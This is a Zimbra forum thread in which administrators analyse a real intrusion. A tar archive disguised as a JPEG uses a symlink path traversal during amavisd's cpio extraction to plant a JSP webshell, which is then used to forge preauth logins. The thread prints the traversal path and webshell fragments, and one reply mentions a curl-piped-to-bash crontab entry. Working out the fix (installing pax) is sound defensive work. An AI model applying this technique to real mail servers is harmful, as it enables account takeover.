ATTACKER MANAGED TO UPLOAD FILES INTO WEB CLIENT DIRECTORY

Attacker managed to upload files into Web Client directory

by **yeak** » Sat Sep 10, 2022 4:26 am

We have an incident where the attacker managed to upload jsp files into Web Client /public directory by simply sending in an email with malicious attachment.

Our system already patched to P26 on Zimbra 9.

The incident timeline and steps:
1. Send a malicious file to one of the user. The amavisd will process this file and I think via cpio loophole, got the file extracted into the target folder /opt/zimbra/jetty/webapps/zimbra/public.

Sep 7 11:19:46 mb1 amavis[109612]: (109612-08) ESMTP [127.0.0.1]:10024 /opt/zimbra/data/amavisd/tmp/amavis-20220907T111538-109612-whQHcMYk: <adrobots@proton.me> -> <xxx@yyy.zzz> SIZE=130680 Received: from mb1.yyy.zzz ([127.0.0.1]) by localhost (mb1.yyy.zzz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP for <xxx@yyy.zzz>; Wed, 7 Sep 2022 11:19:46 +0800 (+08)
Sep 7 11:19:49 mb1 amavis[109612]: (109612-08) Checking: VHxEN5Rp86Lq [192.168.aa.bb] <adrobots@proton.me> -> <xxx@yyy.zzz>
Sep 7 11:19:49 mb1 amavis[109612]: (109612-08) (!)WARN: Using cpio instead of pax can be a security risk; please add: $pax='pax'; to amavisd.conf and check that the pax(1) utility is available on the system!
Sep 7 11:19:49 mb1 amavis[109612]: (109612-08) (!)WARN: Using cpio instead of pax can be a security risk; please add: $pax='pax'; to amavisd.conf and check that the pax(1) utility is available on the system!

yeak
Posts: 37
Joined: Fri Jun 17, 2016 6:05 am
Location: Malaysia
ZCS/ZD Version: Zimbra 10
Contact:

2. The attacker access this file (webshell) via the public and executed "zmprov gdpak" to generate preauth and login into any user they targeted.

3. They login to xxx@yyy.zzz account to delete the file they sent in via step1 to try erase the trail.

We have reported this to Zimbra Support together with the malicious email with the attachment.

All above is possible to happen if the Zimbra installation is **standalone**. A weakness in one of the component (MTA) lead to compromise in other component (Mailstore).

If you want a copy of this malicious attachment (news.jpg), you can private message me.

```
$ file news.jpg
news.jpg: POSIX tar archive (GNU)

$ tar tf news.jpg
data
data/searchx.jsp

$ tar xf news.jpg
tar: data/searchx.jsp: Cannot open: Not a directory
tar: Exiting with failure status due to previous errors

$ ls -l
lrwxrwxrwx 1 yeak yeak 46 Aug 29 20:33 data ->
../../../../../../jetty/webapps/zimbra/public/

$ strings news.jpg
data
0000777
0000000
0000000
00000000000
14303131007
017443
2../../../../../../jetty/webapps/zimbra/public/
ustar
root
root
data/searchx.jsp
0000644
0000000
0000000
```

00000233151
14303131007
012635
ustar
root
root
<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
...

My question: How to follow amavisd alert to configure amavisd.conf correctly? I simply "yum install pax". Will this avoid it?

Thanks.

Re: Attacker managed to upload files into Web Client directory

by **BradC** » Sun Sep 11, 2022 2:46 am

BradC
Outstanding Member
OUTSTANDING

Posts: 441
Joined: Tue May 03, 2016 1:39 am

> **yeak wrote:**
> If you want a copy of this malicious attachment (news.jpg), you can private message me.

I have done.

Nice analysis btw.

Re: Attacker managed to upload files into Web Client directory

by **Klug** » Sun Sep 11, 2022 2:57 pm

Klug
Ambassador
AMBASSADOR

Posts: 2965
Joined: Mon Dec 16, 2013 11:35 am
Location: France - Drôme
ZCS/ZD Version: All of them
Contact:

@Yeak, which OS are you running?

pax is in the "prerequisites" of Zimbra with Ubuntu (see here: https://wiki.zimbra.com/wiki/Ubuntu_Upgrades)
I'm quite sure it is for RHEL/CentOS too.

Also, in an up-to-date (8.8.15P33) amavisd.conf, there's this:

CODE: SELECT ALL

```
  [['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ],
```

I've checked on several servers, none as the "cpio instead of pax" warning in the logs.

As you suggest, installing pax "fixes" the issue.
The question for me is to find out why Zimbra's setup procedure didn't mark this as prerequisite for your server and/or how you managed to install the server without the prerequisite.

Edit a bit later: pax is in the "suggested prerequisite", doesn't seem to be mandatory.

Re: Attacker managed to upload files into Web Client directory

by **ghen** » Sun Sep 11, 2022 8:35 pm

ghen
Outstanding Member
OUTSTANDING

Posts: 452
Joined: Thu May 12, 2016 1:56 pm
Location: Belgium

On CentOS/RHEL, pax used to be installed by default, that's probably why Zimbra doesn't list it as a dependency on RHEL: https://bugzilla.zimbra.com/show_bug.cgi?id=80716.
But it's not standard anymore since EL6, so it probably should be made an explicit dependency of zimbra-amavisd. Once pax is installed, amavisd automatically prefers it over cpio.

Re: Attacker managed to upload files into Web Client directory

by **yeak** » Mon Sep 12, 2022 1:36 am

yeak

Posts: 37
Joined: Fri Jun 17, 2016 6:05 am
Location: Malaysia
ZCS/ZD Version: Zimbra 10
Contact:

> **Klug wrote:**
> @Yeak, which OS are you running?
>
> pax is in the "prerequisites" of Zimbra with Ubuntu (see here: https://wiki.zimbra.com/wiki/Ubuntu_Upgrades)
> I'm quite sure it is for RHEL/CentOS too.

Yes, CentOS 7.9.

Many of our setup use Minimal OS package then begin Zimbra installation. I will get my team to add pax immediately for all deployments.

Re: Attacker managed to upload files into Web Client directory

by **BradC** » Mon Sep 12, 2022 3:31 am

BradC
Outstanding Member
OUTSTANDING

Posts: 441
Joined: Tue May 03, 2016 1:39 am

It looks very much like a stripped down version (db stuff removed) of this web shell :
https://github.com/xl7dev/WebShell/blob ... 0Ninty.jsp

Unpacking with cpio, tar and pax using default options all create the symlink and attempt to write the webshell. I'm now looking at the various options to see if there is an obvious one that will prevent that from occurring.

CODE: SELECT ALL

```
brad@bkd:~/temp/zimbra$ tar -xvf ../news.jpg ; ls -la data
data
data/searchx.jsp
tar: data/searchx.jsp: Cannot open: Not a directory
tar: Exiting with failure status due to previous errors
lrwxrwxrwx 1 brad brad 46 Aug 29 20:33 data -> ../../../../..
brad@bkd:~/temp/zimbra$ rm data
brad@bkd:~/temp/zimbra$ cpio -idv -F ../news.jpg ; ls -la dat
data
cpio: cannot make directory `data': No such file or directory
cpio: data/searchx.jsp: Cannot open: No such file or director
data/searchx.jsp
```

I fed it into our Zimbra test server and while no malware was identified it didn't trigger an error or drop the payload.
I then went to /usr/bin and

CODE: SELECT ALL

```
cd /usr/bin ; mv pax pax.old
su - zimbra
zmamavisdctl restart
```

Re-sent the e-mail and :

CODE: SELECT ALL

```
ls /opt/zimbra/jetty/webapps/zimbra/public/searchx.jsp
searchx.jsp
```

So make sure pax is installed to mitigate this one.
No Pax :

CODE: SELECT ALL

```
Sep 12 11:26:14 mail amavis[2806676]: Found decoder for    .c
Sep 12 11:26:14 mail amavis[2806676]: Found decoder for    .t
```

Pax :

CODE: SELECT ALL

```
Sep 12 11:32:10 mail amavis[2811141]: Found decoder for    .c
Sep 12 11:32:10 mail amavis[2811141]: Found decoder for    .t
```

Re: Attacker managed to upload files into Web Client directory

barrydegraaff

by **barrydegraaff** » Mon Sep 12, 2022 8:58 am

For everyone else reading running:

CODE: SELECT ALL

```
yum intall pax
# or
apt-get install pax
```

and restarting Zimbra should take care of the issue:

CODE: SELECT ALL

```
sudo su zimbra -
zmcontrol restart
```

We will work on adding this to the next patch, thanks.

I am no longer working on anything Zimbra related.

Outstanding Member
OUTSTANDING

Posts: 251
Joined: Tue Jun 17, 2014 3:31 am

Re: Attacker managed to upload files into Web Client directory

by **BradC** » Mon Sep 12, 2022 2:18 pm

> **barrydegraaff wrote:**
> For everyone else reading running:
>
> **CODE: SELECT ALL**
>
> ```
> yum intall pax
> # or
> apt-get install pax
> ```
>
> and restarting Zimbra should take care of the issue:

Given this vulnerability has already bitten at least one person and is clearly in the wild, perhaps an announcement or security advisory might be prudent.
Not everyone reads the forum.

BradC
Outstanding Member
OUTSTANDING

Posts: 441
Joined: Tue May 03, 2016 1:39 am

Re: Attacker managed to upload files into Web Client directory

by **gabrieles** » Mon Sep 12, 2022 2:56 pm

> **BradC wrote:**
> Given this vulnerability has already bitten at least one person and is clearly in the wild



gabrieles
Outstanding Member
OUTSTANDING

Posts: 248
Joined: Tue Feb 14, 2017 9:40 am

Last week we saw something similar to the first post (on zimbra crontab there was a curl --insecure https://xxx.yyy.www.zzz/something.jpg and a pipaed bash) but probably we mistaken it for a mboximport violation an cleaned it as usual. We're gonna check if pax...

Re: Attacker managed to upload files into Web Client directory

by **Matt** » Tue Sep 13, 2022 12:02 pm

Matt

Posts: 8
Joined: Wed Aug 28, 2019 10:34 am

> **BradC wrote:**
> Given this vulnerability has already bitten at least one person and is clearly in the wild, perhaps an announcement or security advisory might be prudent.
> Not everyone reads the forum.

I agree, an announcement should be made.

Since the attackers have write access via this vulnerability (presumably as the zimbra user), it's likely it won't be long before they modify the attack to work in some form on dedicated mta servers too.

Flat Style by Ian Bradley
Powered by phpBB® Forum Software © phpBB Limited
Privacy | Terms